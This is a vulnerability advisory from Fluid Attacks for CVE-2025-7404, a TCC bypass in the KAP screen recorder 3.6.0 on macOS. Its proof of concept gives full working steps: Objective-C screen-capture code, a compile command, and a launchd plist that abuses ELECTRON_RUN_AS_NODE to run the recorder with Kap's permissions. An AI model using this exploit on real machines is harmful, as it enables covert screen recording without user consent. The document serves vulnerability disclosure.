KAP 3.6.0 - TCC Bypass

6,9

Medium

6,9

Medium

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Code Injection using Electron Fuses in KAP 3.6.0 (3.6.0.1846) allowing TCC Bypass

Code name

State

Public

Release date

14 de ago. de 2025

Affected product

KAP

Vendor

Wulkano

Affected version(s)

3.6.0

Vulnerability name

TCC Bypass

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

CVE ID(s)

Description

KAP versions prior to Version 3.6.0 on macOS contain a misconfiguration in the Node.js environment settings that could allow code execution by utilizing the 'ELECTRON_RUN_AS_NODE' environment variable or the "--inspect" option. This allows an attacker to bypass the TCC safe mechanism and capture audio or video without user consent.

Vulnerability

A misconfiguration vulnerability in KAP (all versions prior to 3.6.0) running on macOS allows for arbitrary code execution and evasion of macOS's Transparency, Consent, and Control (TCC) mechanism. This flaw stems from the Node.js environment settings, where manipulation of the ELECTRON_RUN_AS_NODE environment variable or the use of the --inspect option can be exploited.

An attacker can leverage this misconfiguration to execute malicious code, bypassing TCC protections. This could lead to the unauthorized capture of audio or video without explicit user consent, compromising system privacy.

PoC

1. Create the file screen.m in order to have a binary to record screen.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (nonatomic, strong) AVCaptureSession *captureSession;
@property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput;
@property (nonatomic, strong) dispatch_queue_t sessionQueue;
@property (nonatomic, copy) NSURL *outputURL;
@property (nonatomic, assign) NSInteger durationInSeconds; // Record time

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url;
- (void)startRecording;
- (void)stopRecording;

@end

@implementation ScreenRecorder

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url {
    self = [super init];
    if (self) {
        _durationInSeconds = duration;
        _outputURL = url;
        _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL);
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];


    // capture screen
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if (!screenInput) {
        NSLog(@"Error: can't get screenInput");
        return;
    }
    
    // fps
    screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps
    screenInput.capturesCursor = YES; // cursor
    screenInput.capturesMouseClicks = YES; // clicks

    if ([self.captureSession canAddInput:screenInput]) {
        [self.captureSession addInput:screenInput];
    } else {
        NSLog(@"Error: can't add to screenInput");
        return;
    }

    // output
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    
    // max time
    self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid;
    
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    } else {
        NSLog(@"Error: can't add screenInput to output file.");
        return;
    }
}

- (void)startRecording {
    dispatch_async(self.sessionQueue, ^{
        if (![self.captureSession isRunning]) {
            [self.captureSession startRunning];
            NSLog(@"Initializing");
        }

        // check old file
        if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) {
            NSError *error = nil;
            [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error];
            if (error) {
                NSLog(@"Error deleting file: %@", error.localizedDescription);
            }
        }
        
        // start recording
        [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self];
        NSLog(@"recording: %@", self.outputURL.lastPathComponent);

        // dispatch timeout
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{
            [self stopRecording];
        });
    });
}

- (void)stopRecording {
    dispatch_async(self.sessionQueue, ^{
        if ([self.movieFileOutput isRecording]) {
            [self.movieFileOutput stopRecording];
            NSLog(@"stop recording.");
        }
    });
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

// call after recorded
- (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error {
    if (error) {
        NSLog(@"Error stopping the recording: %@", error.localizedDescription);
    } else {
        NSLog(@"Success. File saved at : %@", outputFileURL.path);
    }

    // stop after finish 
    dispatch_async(self.sessionQueue, ^{
        if ([self.captureSession isRunning]) {
            [self.captureSession stopRunning];
            NSLog(@"Recording Stopped.");
        }
    });
}

@end

// main
int main(int argc, const char * argv[]) {
    @autoreleasepool {
            // output file
                @autoreleasepool {

            // path (Adapt to the specific user)
            NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE";
            
            // complete path
            NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]];

            // check folder
            NSFileManager *fileManager = [NSFileManager defaultManager];
            if (![fileManager fileExistsAtPath:targetDirectory]) {
                NSError *error = nil;
                [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error];
                if (error) {
                    NSLog(@"Error creating folder: %@", error.localizedDescription);
                    
                }
            }


            // create ScreenRecorder instance
            ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL];

            // start recording
            [recorder startRecording];


            NSLog(@"Waiting for 5 seconds ...");
            [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s 

            NSLog(@"Finished.");
        }
    }
    return 0;
}

2. Compile the above code with

gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen

3. Create the file bypass.plist to launch the daemon.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>EnvironmentVariables</key>
        <dict>
            <key>ELECTRON_RUN_AS_NODE</key>
            <string>true</string>
        </dict>
        <key>Label</key>
        <string>com.kap.tcc.bypass</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Kap.app/Contents/MacOS/Kap</string>
            <string>-e</string>
            <!--Replace the path_to_screen with the path to the screen binary-->
            <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string>
        </array>
        <key>RunAtLoad</key>
        <true />
    </dict>
</plist>

4. Launch the daemon.

launchctl load bypass.plist

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-7404 to refer to this issue from now on.

Disclosure policy

System Information

KAP:

  • Version 3.6.0 (3.6.0.1846)

  • Operative System: macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

14 de jul. de 2025

Vendor contacted

23 de jul. de 2025

Public disclosure

14 de ago. de 2025

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

Comece seu teste gratuito de 21 dias

Descubra os benefícios de nossa solução de Hacking Contínuo, da qual empresas de todos os tamanhos já desfrutam.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.